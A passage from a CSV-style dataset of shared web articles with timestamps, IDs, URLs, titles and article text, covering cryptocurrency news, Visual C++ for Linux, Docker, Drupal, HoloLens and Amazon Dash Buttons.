distribution. One particular Bitcoin startup is experimenting with a smart meter solution powered by digital currencies, which could be a sign of things to come. How much energy will be needed to mine one Bitcoin by 2020 in your estimation? What type of improvements can be expected on the hardware side of things? Let us know in the comments below! Source: Motherboard Images courtesy of Shutterstock, Economic Times JP Buntinx is a freelance Bitcoin writer and Bitcoin journalist for various digital currency news outlets around the world, Jean-Pierre is an active member of the Belgian Bitcoin Association, and occasionally attends various Bitcoin Meetups in Ghent and Brussels.",en
1459423815,CONTENT SHARED,-254088699629065171,4340306774493623681,3903381901308718595,,,,RICH,https://soundcloud.com/epicenterbitcoin/eb-124,EB124 - Rune Christensen: Maker Dao Ethereum's Decentralized Central Bank by Epicenter Bitcoin,"Support the show, consider donating: 1GW6t1vzHkN28F8agdW6vBqBxc9dKvad3B ( The challenges Bitcoin's wild volatility represents for achieving mass adoption have made the necessity for stable cryptocurrencies apparent long ago. With Ethereum applications, the problem is even more apparent as many use cases from predcition markets to insurance are impractical using the even more volatile ether.",en
1459423840,CONTENT SHARED,-9171475473795142532,4340306774493623681,3903381901308718595,,,,HTML,http://www.newsbtc.com/2016/03/30/decentralized-options-exchange-etheropt-uses-automated-ethereum-smart-contract/,Decentralized Options Exchange Etheropt Uses Automated Ethereum Smart Contract,"The price per Ether will be taken from multiple sources, including Poloniex - the main exchange for ETH trading - and will be verified by Reality Keys. Since there is no owner running this platform, all of the trades, deposits, and withdrawals are executed automatically through an Ethereum smart contract. Decentralized autonomous trading is what digital currency was designed to do, and it is good to see new platforms pop up embracing this principle. Ethereum keeps capturing the imagination of both developers and digital currency enthusiasts all over the world. As new platforms are being announced around the clock, the ecosystem is growing into something very powerful. One of the latest announcements comes in the form of Etheropt, a platform that is live on the Ethereum mainnet which offers decentralized options exchange opportunities. Also read: Bitcoin Price Watch; A Shifted Range in Focus The Etheropt Decentralized Options Exchange Similar to , the Ethereum blockchain is all about decentralizing as many platforms as humanly possible. Although Bitcoin offers a variety of trading and exchange platforms, very few of them are decentralized at their core. Things could play out differently when Ethereum is involved, as impressive new platforms are coming to fruition. is one of those platforms, which is entirely decentralized. Moreover, this is not your everyday digital currency trading service either, as the main purpose is to exchange a variety of . What is even more interesting is how all of the options are call and put options related to the Ethereum price, denominated in US Dollar. The price per will be taken from multiple sources, including Poloniex - the main exchange for ETH trading - and will be verified by Reality Keys . Since no owner is running this platform, all of the trades, deposits, and withdrawals are executed automatically through an Ethereum smart contract . Decentralized autonomous trading is what digital currency was designed to do, and it is good to see new platforms pop up embracing this principle. What is even more appealing to potential traders is how Etheropt does not charge any fees. Unlike traditional exchange platforms, where a small portion of every trade is taken as a fee, no one will be making money from this concept other than the people successfully placing their options. Moreover, deposits and withdrawals are not subject to any fees either. Etheropt users can ether deposit funds directly in Ether, or use Shapeshift.io to convert any of the supported digital currencies into ETH. It is positive to see the Etheropt developer looking at various ways to make this platform more accessible to all kinds of digital currency enthusiasts.",en
1459426836,CONTENT SHARED,2690205894709699741,2833428826475063405,6235605877157474273,,,,HTML,http://www.merriam-webster.com/words-at-play/candy-words,8 of the Sweetest Words for Candy,"is the name for a light brown candy made from butter, sugar, and milk or cream, but it is also used to refer to sugar that is cooked until it is burnt that is used as a flavor or color, or, most simply, as a light brown color. Like so many of our dessert words, it came to English from French. The French word came through Spanish from the Portuguese word caramelo , which meant ""icicle"" and derived from the Latin word for ""small reed"" or ""tube."" Caramel can be correctly pronounced with two syllables (KAR-mel) or three syllables (KAHR-uh-mel, KAIR-uh-mel).",en
1459427438,CONTENT SHARED,-8773118241761372618,8414731042150985013,835219419212517685,,,,HTML,https://blogs.msdn.microsoft.com/vcblog/2016/03/30/visual-c-for-linux-development/,Visual C++ for Linux Development,"Today we're making a new extension available that enables C++ development in Visual Studio for Linux. With this extension you can author C++ code for Linux servers, desktops and devices. You can manage your connections to these machines from within VS. VS will automatically copy and remote build your sources and can launch your application with the debugger. Our project system supports targeting specific architectures, including ARM. Read on for how to get started with our new Linux projects. Today we only support building remotely on the Linux target machine. We are not limited by specific Linux distros but we do have dependencies on the presence of some tools. Specifically, we need openssh-server, g++, gdb and gdbserver. Use your favorite package manager to install them, e.g. on Debian based systems: sudo apt-get install openssh-server g++ gdb gdbserver Installation Download the Visual C++ for Linux Development extension or get it from the extension manager in Visual Studio. Today we do have a dependency on the Android Tools for Visual Studio. If you already have VS installed you can add those by going to Add Remove Programs, modify Visual Studio and select them under Visual C++ Mobile Development. To get started create a new project by going to Templates > Visual C++ > Cross Platform > Linux . Today we have three templates available; Blink for IoT devices like the Raspberry Pi, Console Application as a bare application, and Empty for you to add sources and configure from a clean slate. Your First VS Linux Project Let's get started by creating a Console app. After creating your project from that template set a break point on the printf statement then hit F5 or the Remote GDB Debugger button. By default, the Console Application is set to a debug/x64 configuration. If your remote target is x86 or ARM you'll want to change those options first. In this example I'm using a x64 Ubuntu VM. Since this is our first time targeting a Linux machine you will be prompted for connection information. This is triggered by building the project. We support both password and certificate base authorization, including use of passphrases with certificates. Upon a successful connection we save your connection information for subsequent connections. You can manage your saved connections under Tools > Options > Cross Platform > Linux . Yes, passwords/passphrases are encrypted when stored. We plan to support connecting without saving the connection information in a future update. Upon connecting, your sources will be copied to the remote Linux machine and we will invoke gcc to build the sources with the options from the project properties. After the build successfully completes, your code will be launched on the remote machine and you will hit the break point you set earlier. Linux Project Properties Let's take a look at the project properties to understand where things got deployed on the remote Linux machine. Under remote settings, you will see the remote root is set to ~/projects/ by default and that we are setting the remote project directory to match our project name in that location. If we take a look on the Linux machine, we'll find main.cpp as well as our build artifacts in ~/projects/ConsoleApplication1. Looking at the General settings for the project, you can see how our output and intermediate directories were configured. Additionally, you'll see that this project was configured as an application - thus our executable is under bin/x64/Debug/ as ConsoleApplication1.out. Notice that for configuration types we also support static and dynamic libraries. Linux IoT Projects Now let's take a look at an IoT device, the Raspberry Pi. You can use any type of Pi running Raspbian. For our blink sample we use wiringPi - if you don't have this setup you can either install it via apt or from source. To add a new connection, go to Tools > Options and search for Linux. Now click add to connect to your Raspberry Pi. Go to project properties and take a look under Build Events at Remote Post-Build Events. You can use this to execute a command on the remote Linux target after build. This template comes preconfigured to export the GPIO pin for the LED so that we don't have to run our executable as root. Now connect an LED to pin 17 on your Raspberry Pi as shown here. Open main.cpp and set a breakpoint on the delay call after the first digitalWrite and hit F5. You should see your LED light up and execution will pause at your breakpoint. Step through your code over the next digitalWrite call and you will see your LED turn off. Visit our IoT Development page to stay current on all of our offerings in this space. We've covered headless and device Linux applications, what about desktop? Well, we have something special here: we're going to launch an OpenGL app on a Linux desktop. First make sure your Linux desktop has been configured for OpenGL development. Here are the apt packages we used: libgles1-mesa, libgles1-mesa-dev, freeglut3, freeglut3-dev. Now create an empty Linux project and go grab the source for Spinning Cube from Julien Guertault's OpenGL tutorial . Extract it and add main.c to your project. To enable Intellisense you will need to add the OpenGL headers to the VC++ Directories, you can get them from the OpenGL Registry . Now go to your project properties and add export DISPLAY=:0.0 to the Pre-Launch command. Now, under Linker Input add the library dependencies: m;GL;GLU;glut. Also, make sure your remote settings are for the right machine. Now hit F5. A couple of interesting places to put breakpoints are around line 80 where the cube rotation is set (try changing the alpha value) or in KeyboardFunc where you can inspect the values of the pressed key. Go Write Some Native Linux Code We hope you are as excited by the possibilities this opens up as we are. Install the Visual C++ for Linux Development extension , try it out and let us know what works for you, what doesn't or if you encounter any issues. If your focus is IoT remember to check out our IoT Development page to stay current on happenings there. You can reach us here through the blog, on the extension page on the gallery, via the VS Feedback channel, or find our team @visualc or me, @robotdad , on Twitter. - Marc Goodner",en
1459437824,CONTENT SHARED,-7315032288233856709,-9001583565812478106,-5496254765357526393,,,,HTML,http://mspoweruser.com/microsoft-windows-phones-not-place-new-exciting-things/,"Microsoft: Windows Phone is not the place to do ""new and exciting things"" - MSPoweruser","There were not a lot of Windows Phones at BUILD 2016, not in the presentation or in the hands of Microsoft staff or attendees. Am I the only one using a Windows phone at the #build2016 ? So many Android/iphone... - Rudy Huyn (@RudyHuyn) March 30, 2016 It turns out there is little point in waiting for earth shattering Windows Mobile news from BUILD 2016 this year. According to Microsoft's Executive Vice President of the Windows and Devices Group, Terry Myerson, 2016 is not going to be the year for Windows Phone. ""We're fully committed to that 4-inch screen, there will be a time for it to be our focus, but right now it's part of the family but it's not the core of where I hope to generate developer interest over the next year,"" he said. ""There's no lack of recognition to realize how important that form factor is, but for Microsoft with Windows and for our platform it's the wrong place for us to lead."" The vast majority of Microsoft's customers do not use Windows Phone, and with Microsoft's change of focus following Steve Ballmer's retirement Microsoft is no longer focusing on Windows Phone users at the expense of the majority of their customers. ""If you wanted to reach a lot of phone customers, Windows Phone isn't the way to do it,"" said Myerson. ""If you want to reach a lot of Windows customers, then this is the largest install base of 9 to 30-inch screens. If you wanted to do new and exciting things, then the Xbox and HoloLens is the place to have a discussion."" ""We're going to do some cool things with phones, but this year phones are an important part of our family but not the tip of the spear,"" be continued. Myerson of course presupposes that their is an option of coming back or, for a 3rd time, trying to start over, but we are reminded that it was exactly this lack of resources and lack of focus on mobile which caused Microsoft to lose the smartphone market to the iPhone in 2007 and Android in 2008. via TheVerge.com",en
1459439446,CONTENT SHARED,3193164045772142182,-1032019229384696495,-4690277498179936282,,,,HTML,http://www.outerplaces.com/science/item/11693-coolest-virtual-reality-experiences-made-with-hololens-so-far,The 7 Coolest Virtual Reality Experiences Made with Hololens So Far,"Hololens just starting shipping their technology to developers, which means we have a whole lot of virtual and augmented reality hijinks coming to our future. But several organizations, both public and private, have had their hands on this tech for quite some time now, and have already done amazing things with it. Here are the seven most awesome virtual reality experiences created with Hololens so far: Mars on Earth NASA is unveiling a new exhibit called Destination: Mars, an augmented reality experience that allows you to take a full tour of Mars' surface with virtual guides Erica Hines, who is in charge of the Curiosity Rover and astronaut Buzz Aldrin. Virtual reality can advance important causes such as medical science and space travel by leaps and bounds, but let's be honest, it's absolutely made for first-person shooter games. RoboRaid is the first such game to employ Hololens technology, and several other games are using holograms as well, including a detective thriller game and a kids' game involving an adorable squirrel that adapts to your environment: Virtual Anatomy Universities such as Case Western in Ohio are using Hololens as a teaching tool, particularly in anatomy courses. The tech allows students to study the human body up close and virtually (sorry) eliminates the necessity for real-life human cadavers and body parts. Holographic Room Lowe's was one of the first to utilize Hololens technology, and they've created an in-store experience called the Holoroom that is eerily similar to the Ray Bradbury story ""The Veldt"" (or its loose adaptation, the Disney Channel movie Smart House). This tech allows you to choose Lowe's products and build/design an entire room, hopefully one that won't try to eat you . Actiongram Actiongram is a moviemaking app that allows you to make mixed reality videos. You can choose from an extensive library of holograms, including bombs, tigers, astronauts, unicorns, etc, and record them to make your very own surrealist film. Or, you can just play with a dinosaur in your living room, whatever floats your boat. Holographic Skype Skype is primarily using Hololens technology for educational experiences, allowing the user to show the other person what he or she is seeing and draw holograms on the other person's screen during a demonstration. Although we're not quite at the point where you can talk to a hologram that pops out of your computer, the fact that Skype is working with this technology will hopefully bring us one step closer. HoloTour This app allows you to travel all over the world, without the cost or the jet lag. You can explore Rome, Machu Picchu, or any number of exotic locations and actually interact with the world around you as if you're actually there.",en
1459443559,CONTENT SHARED,4056017896532335209,-6944500707172804068,9126788075627911865,,,,HTML,http://www.nytimes.com/2016/04/01/technology/amazon-widens-its-push-button-e-commerce-horizons.html,Amazon Widens Its Push-Button E-Commerce Horizons,"SEATTLE - Aaron Horn, an information technology director for the Iowa Interstate Railroad, recently decided to take convenience in his home to the next level. Instead of running out to the store whenever he and his family needed Tide laundry soap, he installed a wireless button on the back of a cabinet door in his house in Swisher, Iowa. With one press of that button - called an Amazon Dash Button and made by the giant e-commerce company - Mr. Horn could reorder Tide anytime he needed, and the online retailer would ship him detergent. Getting the button was about ""90 percent convenience,"" said Mr. Horn, adding that 10 percent of the motivation was ""wanting to play with innovative new tech."" Now, Amazon is about to make ordering a box of Trojan condoms - as well as Slim Jims, Doritos and more than 100 other consumer products - as unchallenging as Mr. Horn getting that Tide. A year ago, Amazon, which is perpetually inventing new ways to buy things while using the fewest calories possible, introduced the Dash Button with a single purpose: to let customers order mundane products like garbage bags and toothpaste by pushing a button. At first, many people thought the Dash Button - which is a plastic widget the size of a car key remote - was a joke, since Amazon introduced it just before April Fool's Day. The idea behind a device that lets shoppers buy one thing, and one thing only, also seemed a little wacky. The Dash Button is no joke. On Thursday, Amazon said it was expanding the program from the nearly 30 brands whose products have been available for ordering through the devices to more than 100. Now, Energizer batteries, Stayfree feminine pads and Zico Premium Coconut Water will each have their own Dash Button. Peet's Coffee, Red Bull beverages and Orville Redenbacher's Gourmet Popping Corn are joining the club too, as is Arm & Hammer cat litter. ""What we've heard from customers is they want more,"" said Daniel Rausch, director of Dash at Amazon. ""Brands have been clamoring to be in the program."" Mr. Rausch said the use of Dash Buttons had been growing at a steady clip. The number of orders customers made with the devices jumped 75 percent during a week in mid-March compared with a week in mid-December, he said, without disclosing the underlying sales numbers. Dash Buttons are now pressed more than once a minute in total by Amazon customers, Mr. Rausch said. Amazon charges its customers $4.99 per Dash Button, but refunds that same amount after their first order using the device, almost guaranteeing that customers use it at least once. The device is available only to people who pay for Amazon's $99-a-year Prime service, and items are delivered to customers with Prime's two-day free shipping. Each Dash Button has a strip of adhesive for sticking it somewhere around the house, and a colorful logo for Tide, Orbit gum or whatever brand the button exists to serve. The widgets are effectively in-home advertisements for the brands, leading some analysts to believe that the brands are subsidizing the cost of the Dash Buttons bearing their names - something Amazon will not confirm. Amazon's founder and chief executive, Jeffrey P. Bezos , has been on a mission to eradicate every conceivable obstacle to shopping online since the 1990s, when he patented Internet ordering with a single mouse click. With the Dash Button, Amazon is removing the headache of one-click ordering on a PC or smartphone - as questionable as that burden may seem - and putting the button on a pantry wall, countertop or medicine cabinet. Scott Galloway, a professor of marketing at New York University's Stern School of Business, said Amazon would one day go even further by analyzing customer shopping patterns and proactively sending people replenishments of common household items. ""I think that's where this is all headed,"" he said. ""I will get a box once a week with stuff they figure I need."" Amazon, based in Seattle, received a patent a few years ago for ""anticipatory package shipping,"" a method of speculatively sending goods to customers before they have actually ordered them. And the company is also helping makers of washing machines, pet food dispensers and other products design them so that the products themselves can automatically order replenishments on their own. To some, the Dash Button is another symptom of a creeping societal laziness, though Mr. Galloway says he sees the device as no more insidious than a television remote control. One obvious risk of making online shopping so easy is inadvertent ordering. By default, the Dash Button won't allow a repeat order of a product until after an earlier order of the same item was delivered, a rule intended to prevent situations in which, say, a husband orders pet food right after his wife. But a child with a Dash Button can be a dangerous thing. Before Mr. Horn recently installed his Dash Button for Tide, one of his children got hold of it. ""When our 6-year-old picked it up, my wife and I both yelled 'Don't push the button!'"" Mr. Horn said. He was just in time: No unwanted shipment of Tide has shown up at his door.",en
1459445493,CONTENT SHARED,-6362758570633473480,-108842214936804958,2993572319307285335,,,,HTML,http://www.appdevelopersalliance.org/news/2016/3/30/standing-under-your-code-the-seven-stages-of-digital-transformation,Standing Under Your Code: The Seven Stages of Digital Transformation,"By overlaying the commonly accepted seven stages of grief (denial, anger, bargaining, guilt, depression, acceptance, and hope) onto the Hype Cycle curve, the emotional rollercoaster associated with such change becomes evident, and puts this transformation process into context for how businesses typically react to new technology. These are the seven stages of digital transformation , and every company must work through these stages in order to successfully emerge into the new market of the digital age. As with the stages of grief, the stages of digital transformation are inevitable and require an honest assessment of one's current phase in the process. Now, there is nothing tragic about digital transformation, but we can better understand how organizations are working through their tech-related growing pains by applying what we know about our own struggles with change. The Alliance wants companies to get to the other side of this learning curve faster-to move quickly to the acceptance stage and with fewer pain points. We want to lead enterprise in the direction of innovation, and this means equipping businesses to utilize their best asset: their developers. We want to empower progressive developers to update their career trajectories and understand the modern software delivery chain. Industry-leading companies are the ones who recognize, empower, and deeply integrate their developers into every facet of the business-a competitive advantage that will only become more crucial in the future. This focus on developers increases speed and security, reduces costs, and skyrockets efficiency across markets and regions. Businesses will win or lose based on their software product design, deployment, and operation-and developers are key to that success. IT must move from being a cost and control function to being a strategic asset that does not increase risk to the business. As businesses outside traditional technology fields rely more and more on this critical developer workforce, it in turn needs to be nurtured so that both developers and businesses can thrive. The Alliance recently launched the Developer Workforce Initiative with one goal in mind: to prepare a new type of developer for a new type of market. This initiative begins with the support of some of the most innovative and developer-centric Alliance member companies: Apcera, AT&T, Built.io, Ericsson, Facebook, Ford, Google, Intel, and MapR. Our cross-industry coalition will work to increase the size, readiness, and understanding of the global developer workforce. The Developer Workforce Initiative will: Conduct research and analysis of the industry, the markets, and the workforce Create professional certifications for developers, including core competency, platform and industry-specific testing, and broader curriculum development Connect industry leaders, technologists, and the developer workforce through programming and digital channels Advocate for national and global regulatory environments that foster innovation for next-generation markets For the people building this new world-the developer workforce-the digital transformation is an opportunity to build more innovative software, more significant products, and more successful careers. Now is our chance to invest in the future by supporting the people who will make it possible for the rest of us. Like the bridges of ancient Rome, the complexity of a software-driven world raises the stakes for developers, for businesses, and for society. Developers are the craftsmen building our future-a future that requires a better appreciation of their work and the opportunity for developers to stand under their code.",en
1459446418,CONTENT SHARED,-8287402887944984163,-8020832670974472349,5407949268718900440,,,,HTML,https://blog.docker.com/2016/03/containers-are-not-vms/,Containers are not VMs,"I spend a good portion of my time at Docker talking to community members with varying degrees of familiarity with Docker and I sense a common theme: people's natural response when first working with Docker is to try and frame it in terms of virtual machines. I can't count the number of times I have heard Docker containers described as ""lightweight VMs"". I get it because I did the exact same thing when I first started working with Docker. It's easy to connect those dots as both technologies share some characteristics. Both are designed to provide an isolated environment in which to run an application. Additionally, in both cases that environment is represented as a binary artifact that can be moved between hosts. There may be other similarities, but to me these are the two biggies. The key is that the underlying architecture is fundamentally different between the two. The analogy I use (because if you know me, you know I love analogies) is comparing houses (VMs) to apartment buildings (containers). Houses (the VMs) are fully self-contained and offer protection from unwanted guests. They also each possess their own infrastructure - plumbing, heating, electrical, etc. Furthermore, in the vast majority of cases houses are all going to have at a minimum a bedroom, living area, bathroom, and kitchen. I've yet to ever find a ""studio house"" - even if I buy the smallest house I may end up buying more than I need because that's just how houses are built. (for the pedantic out there, yes I'm ignoring the new trend in micro houses because they break my analogy) Apartments (the containers) also offer protection from unwanted guests, but they are built around shared infrastructure. The apartment building (Docker Host) shares plumbing, heating, electrical, etc. Additionally apartments are offered in all kinds of different sizes - studio to multi-bedroom penthouse. You're only renting exactly what you need. Finally, just like houses, apartments have front doors that lock to keep out unwanted guests. With containers, you share the underlying resources of the Docker host and you build an image that is exactly what you need to run your application. You start with the basics and you add what you need. VMs are built in the opposite direction. You are going to start with a full operating system and, depending on your application, might be strip out the things you don't want. I'm sure many of you are saying ""yeah, we get that. They're different"". But even as we say this, we still try and adapt our current thoughts and processes around VMs and apply them to containers. ""How do I backup a container?"" ""What's my patch management strategy for my running containers?"" ""Where does the application server run?"" To me the light bulb moment came when I realized that Docker is not a virtualization technology, it's an application delivery technology. In a VM-centered world, the unit of abstraction is a monolithic VM that stores not only application code, but often its stateful data. A VM takes everything that used to sit on a physical server and just packs it into a single binary so it can be moved around. But it is still the same thing. With containers the abstraction is the application; or more accurately a service that helps to make up the application. With containers, typically many services (each represented as a single container) comprise an application. Applications are now able to be deconstructed into much smaller components which fundamentally changes the way they are managed in production. So, how do you backup your container, you don't. Your data doesn't live in the container, it lives in a named volume that is shared between 1-N containers that you define. You backup the data volume, and forget about the container. Optimally your containers are completely stateless and immutable. Certainly patches will still be part of your world , but they aren't applied to running containers. In reality if you patched a running container, and then spun up new ones based on an unpatched image, you're gonna have a bad time. Ideally you would update your Docker image, stop your running containers, and fire up new ones. Because a container can be spun up in a fraction off a second, it's just much cheaper to go this route. Your application server translates into a service run inside of a container. Certainly there may be cases where your microservices-based application will need to connect to a non-containerized service, but for the most part standalone servers where you execute your code give way to one or more containers that provide the same functionality with much less overhead (and offer up much better horizontal scaling). ""But, VMs have traditionally been about lift and shift. What do I do with my existing apps?"" I often have people ask me how to run huge monolithic apps in a container. There are many valid strategies for migrating to a microservices architecture that start with moving an existing monolithic application from a VM into a container but that should be thought of as the first step on a journey, not an end goal. As you consider how your organization can leverage Docker, try and move away from a VM-focused mindset and realize that Docker is way more than just ""a lightweight VM."" It's an application-centric way to deliver high-performing, scalable applications on the infrastructure of your choosing. Check out these resources to start learning more about Docker and containers: Learn More about Docker",en
1459449545,CONTENT SHARED,84318068629167514,-3247191585239311338,-1502866326729465773,,,,HTML,http://www.valor.com.br/financas/4436572/rede-do-itau-lanca-carteira-digital-e-preve-capturar-r-64-bilhoes,"Rede, do Itaú, lança carteira digital e prevê capturar R$ 6,4 bilhões","SÃO PAULO - A Rede, credenciadora de cartões do Itaú, lançou uma carteira digital para compras online e espera capturar R$ 6,4 bilhões em transações de e-commerce com o produto até 2018. Neste ano, a previsão é que as transações com a carteira, batizada de ""Clickpag Rede"", somem R$ 270 milhões. A empresa também prevê que o número de usuários chegue a 8,5 milhões nos próximos três anos. A carteira digital aceita as principais bandeiras de cartão de crédito, entre elas, MasterCard , Visa, Hiper, Hipercard e Diners e, segundo a Rede, o projeto prevê a introdução de novos meios de pagamento, como débito em conta corrente do Itaú. A diferença da carteira digital é que o cliente faz um único cadastro e não precisa digitar os dados pessoais e financeiros a cada nova compra, informando apenas um login e senha para realizar uma transação.",pt
1459449817,CONTENT SHARED,6652210819857467321,3891637997717104548,-910102441365544094,,,,HTML,http://us8.campaign-archive1.com/?u=eb2d2e4ce44bb8c74fdb0b23e&id=729b7abb13&e=c7c03a304f,New blog from Dries: How should you decouple Drupal?,"With RESTful web services in Drupal 8 core , Drupal can function as an API-first back end serving browser applications, native applications on mobile devices, in-store displays, even in-flight entertainment systems (Lufthansa is doing so in Drupal 8!), and much more. When building a new website or web application in 2016, you may ask yourself: how should I decouple Drupal? Do I build my website with Drupal's built-in templating layer or do I use a JavaScript framework? Do I need Node.js? There is a lot of hype around decoupled architectures, so before embarking on a project, it is important to make a balanced analysis. Your choice of architecture has implications on your budget, your team, time to launch, the flexibility for content creators, the ongoing maintenance of your website, and more. In this blog post, I'd like to share a flowchart that can help you decide when to use what technology. This flowchart shows three things: First, using coupled Drupal is a perfectly valid option for those who don't need extensive client-side rendering and state management. In this case, you would use Drupal's built-in Twig templating system rather than heavily relying on a JavaScript framework. You would use jQuery to take advantage of limited JavaScript where necessary. Also, with BigPipe in Drupal 8.1 , certain use cases that typically needed asynchronous JavaScript can now be done in PHP without slowing down the page (i.e. communication with an external web service delaying the display of user-specific real-time data). The advantage of this approach is that content marketers are not blocked by front-end developers as they assemble their user experiences, thus shortening time to market and reducing investment in ongoing developer support. Second, if you want all of the benefits of a JavaScript framework without completely bypassing Drupal's HTML generation and all that you get with it, I recommend using progressively decoupled Drupal . With progressive decoupling , you start with Drupal's HTML output, and then use a JavaScript framework to add client-side interactivity on the client side. One of the most visited sites in the world, The Weather Channel (100 million unique visitors per month), does precisely this with Angular 1 layered on top of Drupal 7. In this case, you can enjoy the benefits of having a ""decoupled"" team made up of both Drupal and JavaScript developers progressing at their own velocities. JavaScript developers can build richly interactive experiences while leaving content marketers free to assemble those experiences without needing a developer's involvement. Third, whereas fully decoupled Drupal makes a lot of sense when building native applications, for most websites, the leap to fully decoupling is not strictly necessary, though a growing number of people prefer using JavaScript these days. Advantages include some level of independence on the underlying CMS, the ability to tap into a rich toolset around JavaScript (e.g. Babel, Webpack, etc.) and a community of JavaScript front-end professionals. But if you are using a universal JavaScript approach with Drupal, it's also important to consider the drawbacks: you need to ask yourself if you're ready to add more complexity to your technology stack and possibly forgo functionality provided by a more integrated content delivery system, such as layout and display management, user interface localization, and more . Losing that functionality can be costly, increase your dependence on a developer team, and hinder the end-to-end content assembly experience your marketing team expects, among other things. It's worth noting that over time we are likely to see better integrations between Drupal and the different JavaScript frameworks (e.g. Drupal modules that export their configuration, and SDKs for different JavaScript frameworks that use that configuration on the client-side). When those integrations mature, I expect more people will move towards fully decoupled Drupal. To be performant, fully decoupled websites using JavaScript employ Node.js on the server to improve initial performance , but in the case of Drupal this is not necessary, as Drupal can do the server-side pre-rendering for you. Many JavaScript developers opt to use Node.js for the convenience of shared rendering across server and client rather than for the specific things that Node.js excels in, like real-time push, concurrent connections, and bidirectional client-server communication. In other words, most Drupal websites don't need Node.js. In practice, I believe many organizations want to use all of these content delivery options. In certain cases, you want to let your content management system render the experience so you can take full advantage of its features with minimal or no development effort (coupled architecture). But when you need to build a website that needs a much more interactive experience or that integrates with unique devices (i.e. on in-store touch screens), you should be able to use that same content management system's content API (decoupled architecture). Fortunately, Drupal allows you to use either. The beauty of choosing from the spectrum of fully decoupled Drupal, progressively decoupled Drupal, and coupled Drupal is that you can do what makes the most sense in each situation. Special thanks to Preston So , Alex Bronstein and Wim Leers for contributions to this blog post. We created at least 10 versions of this flowchart before settling on this one.",en
1459452722,CONTENT SHARED,739747367187387064,4340306774493623681,3903381901308718595,,,,HTML,http://www.coindesk.com/us-bank-regulator-creating-framework-for-overseeing-innovations-like-blockchain-tech/,US Bank Regulator to Examine Distributed Ledgers in FinTech Framework Push - CoinDesk,"The US Office of Comptroller of the Currency (OCC) has released a new white paper on financial technology innovation, proposing an approach to handling how banking institutions experiment with new technologies like the blockchain. The agency, which oversees banking activity in the US, promoted the idea of what it called ""responsible innovation"" in the paper . Citing the 2008 financial panic, the OCC said that responsible innovation means the use of new technology ""that is consistent with sound risk management and is aligned with the bank's overall business strategy"". Among the FinTech applications it cited is blockchain technology, which is mentioned alongside peer-to-peer lending and mobile payments. The OCC says that blockchain technology ""has the potential to transform how transactions are processed and settled"". Comptroller Thomas J Curry said in a speech today that the OCC is creating a framework for examining FinTech innovations, and that it may seek to create an internal office dedicated to monitoring developments in this sector. In the past, the OCC has called for a ""balanced"" approach to regulating bitcoin and other digital currencies. During a 2014 speech , Curry called the technology ""potentially revolutionary"". The office said today that it wants to push all banks to take a measured, risk-based approach to new financial technologies, and further indicated that it will seek a culture change within its ranks through education and outreach programs. Image Credit: Mark Van Scyoc / Shutterstock.com Office of the Comptroller of the Currency Regulation",en
1459452751,CONTENT SHARED,8471417198703153120,4340306774493623681,3903381901308718595,,,,HTML,http://cointelegraph.com/news/you-can-soon-pay-for-everyday-items-using-just-bitcoin-and-a-mobile-phone,You Can Soon Pay For Everyday Items Using Just Bitcoin And a Mobile Phone,"The Bitcoin debit card provider, Shake, has launched its Bitcoin tap and pay service at contactless terminals. It allows customers to simply tap their phone against a terminal to pay for goods. The cards have a limit of $2,500 in transactions a day, or $10,000 when the user sends documentation to Shake confirming their identities. An alpha test On 24th March, Shake released a post on their blog informing users of the release of their Bitcoin tap and pay system ""Shake Alpha"". It will work using their mobile app, and in conjunction with their web app, and will allow users to make everyday purchases in bitcoin. Jean Amiouny and Roy Breidi, Co-Founders at Shake, say: ""It comes in two flavours: a mobile app that allows you to tap and pay at contactless terminals and a web app that displays your virtual card to pay online."" Users who wish to start accessing the Shake service should head over to shakepay.co and add their email to the early access list. New people are being invited everyday, but if you're really eager to get started, you can send the Shake team some bitcoin-related humour to [email protected] to get yourself to the top of the list. How to use it Users who wish to utilise this new service must first add funds to their Shake account, which can then be accessed via the Shake Android app. As soon as this is done, the user is free to use tap & pay at store terminals, and view their card details for online purchases. Anyone with an Android phone equipped with NFC will be able to use tap & pay.at any VISA-accepting contactless terminal. An iOS version is to be released in mid-April that shares all the features of the Android app, bar the rather crucial tap & pay feature. The Shake web app can be used in conjunction with the Shake mobile app, or be used independently for adding funds, viewing card details, and for online purchases. There are zero fees associated with creating your first card, and zero monthly fees. However, there is a 1% charge on the bitcoin to fiat exchange, and a 3% charge if a card is used in a foreign transaction, e.g. a USD card used in a CAD transaction. One of the main draws of Shake's debit card system is that it allows customers to issue as many cards as they like, meaning they can have different cards for different accounts. Although many on the /r/bitcoin subreddit embrace the idea of tap & pay being used to pay for goods in Bitcoin, criticism is also strong, mainly stemming from the fact that you're not really paying in Bitcoin. As Reddit user, /u/token_dave, humorously put it: ""Spend bitcoin anywhere*†‡ * Not available in the US † You are actually paying us the bitcoin ‡You are actually spending fiat using the same rails that bitcoin was created to eliminate. Down with the system!""",en
1459452821,CONTENT SHARED,-2711301039947937868,4340306774493623681,3903381901308718595,,,,HTML,http://www.coindesk.com/asia-exchanges-ethereum-trading/,"Eyeing Volume, Asian Exchanges Add Support for Ether Trading - CoinDesk","Following Ethereum's production-ready software release earlier this month, digital currency exchanges are now adding support for the native token that powers its blockchain, ether (ETH). In recent weeks, the majority of announcements have come from Asia, where exchanges in China, Japan and South Korea have all added support for ETH trading. Such actions follow the news that Bitfinex, one of the world's largest digital currency exchanges, had added support for the digital currency on 12th March . Regional exchanges that have since announced support for ETH trading including Coincheck, CHBTC, Korbit and Quoine - exchanges that have raised upwards of $5m in combined venture funding. Quoine CEO Mario Gomez Lozada reported that his Singapore-based exchange has already seen an influx of trading activity for ether, telling CoinDesk: ""We did a few thousand ether on launch day, most of it from Japanese traders, and we reached over 1,000 BTC trading volume in ETH/BTC shortly after. Our Japanese traders immediately embraced ether."" The announcements coincide with escalating interest in ether trading after its market capitalization rose above $1bn earlier this month. At press time, its market cap had subsided, declining to roughly $937m after a period of price volatility. The price of ether at press time was under $12 across exchanges, a figure buoyed by trader interest in the digital currency. High hopes Exchange representatives voiced enthusiasm for Ethereum, as well as their hope that it could extend the market for digital currencies by making headway on use cases where bitcoin startups have yet to find success. ""Bitcoin was all about money. We hope Ethereum will be everything other than money. Therefore, it's natural for us to support ether,"" Coincheck business development lead Kagayaki Kawabata told CoinDesk. Coincheck has since added support for leveraged ether trading, allowing traders to borrow up to five times leverage on ether trades. Kawabata indicated that interest in Ethereum remains low, but he suggested that corporate interest, on the level of a regional Microsoft lending support, could boost awareness. Further, Gomez Lozada said that he believes Ethereum is attracting new traders to his exchange and fostering interest in digital currencies and blockchain tech. ""We have seen new traders joining the platform and exclusively trading ETH,"" he said. Still, not all of the 